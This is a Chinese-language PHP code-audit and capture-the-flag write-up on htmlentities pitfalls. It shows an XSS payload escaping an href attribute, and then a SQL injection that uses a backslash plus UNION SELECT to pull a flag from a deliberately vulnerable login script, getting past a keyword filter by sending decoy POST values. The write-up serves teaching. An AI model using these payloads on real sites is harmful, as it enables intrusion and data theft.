漏洞源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $sanitized = [];
foreach ($_GET as $key => $value) { $sanitized[$key] = intval($value); }
$queryParts = array_map(function ($key, $value) { return $key . '=' . $value; }, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";
|
漏洞解析
htmlentities 函数
htmlentities —- 将字符转换为 HTML 转义字符
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get(“default_charset”) [, bool $double_encode = true ]]] )
作用: 在写PHP代码时,不能在字符串中直接写实体字符,PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。
注: htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:
- ENT_COMPAT(默认值):只转换双引号。
- ENT_QUOTES:两种引号都转换。
- ENT_NOQUOTES:两种引号都不转换。
特别注意,它对\是不转义的
附上一个【HTML字符实体表】
漏洞详解
我们可以知道,$query参数可控,且 htmlentities 函数在这里可逃逸单引号 ,然后就是结合a标签。我们xss的paylaod为:
1 2
| /?a'onclick%3dalert(1)%2f%2f或者 (%3d为=,%2f为// ) /?a'onclick%3d'alert(1)
|
这里后面的 // 到底是什么意思呢?不是行注释,不然为什么可以显示后面的 link
。经测试法向其假如后可以将后面不正确步骤全部注释掉,如果是正确的加上也无妨,正神奇呀。
CTF 题目源码
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #php7.0以下版本使用 <?php if(isset($_REQUEST['username'])){ if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){ die("Attack detected!!!"); } } if(isset($_REQUEST['password'])){ if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){ die("Attack detected!!!"); } } function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } echo htmlentities($str, ENT_QUOTES)."<br/>"; return htmlentities($str, ENT_QUOTES); }
$username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']);
$query='SELECT * FROM day12.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; echo $query."<br/>"; $conn = mysql_connect('localhost','root','root','day12'); $result=mysql_query($query); while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "</tr>"; }
?>
|
sql
1 2 3 4 5 6 7 8 9
| create databse day12; CREATE TABLE `users` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `pass` varchar(255) DEFAULT NULL, `flag` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{sql_Inject1on_Is_1nterEst1ng}');
|
CTF 题解
htmlentities 函数利用
这里htmlentities的可选参数选的是ENT_QUOTES
也就是说单引号和双引号都进行转换了。但是我们看看转换特殊字符的表,其中不包括\
那么我们可以用它来达到转义的效果。
我们看看效果,当我们输入payload为:
1
| ?username=\&password=123
|
返回结果如下:
其实此时name='AND pass
而 123'
是多余的。那么如果我们使用payload:
1
| ?password=union%20select%201,flag,3,4+from+day12.users%23&username=\
|
不就可以得到我们的flag了?但是这里进行了过滤:
1 2 3 4 5
| if(isset($_REQUEST['password'])){ if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){ die("Attack detected!!!"); } }
|
request传数据方式
我们看到是通过 request 方式传入数据,而php中 REQUEST 变量默认情况下包含了 GET ,POST 和 COOKIE 的数组。在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目:
1 2 3 4
| ; variables_order ; Default Value: "EGPCS" ; Development Value: "GPCS" ; Production Value: "GPCS"
|
这些字母分别对应的是 E: Environment ,G:Get,P:Post,C:Cookie,S:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值。
也就是说我们在传上面的payload的同时post一个虚假的name和pass。最后:
1 2
| get: ?password=union%20select%201,flag,3,4+from+day12.users%23&username=\ post: password=1&username=2
|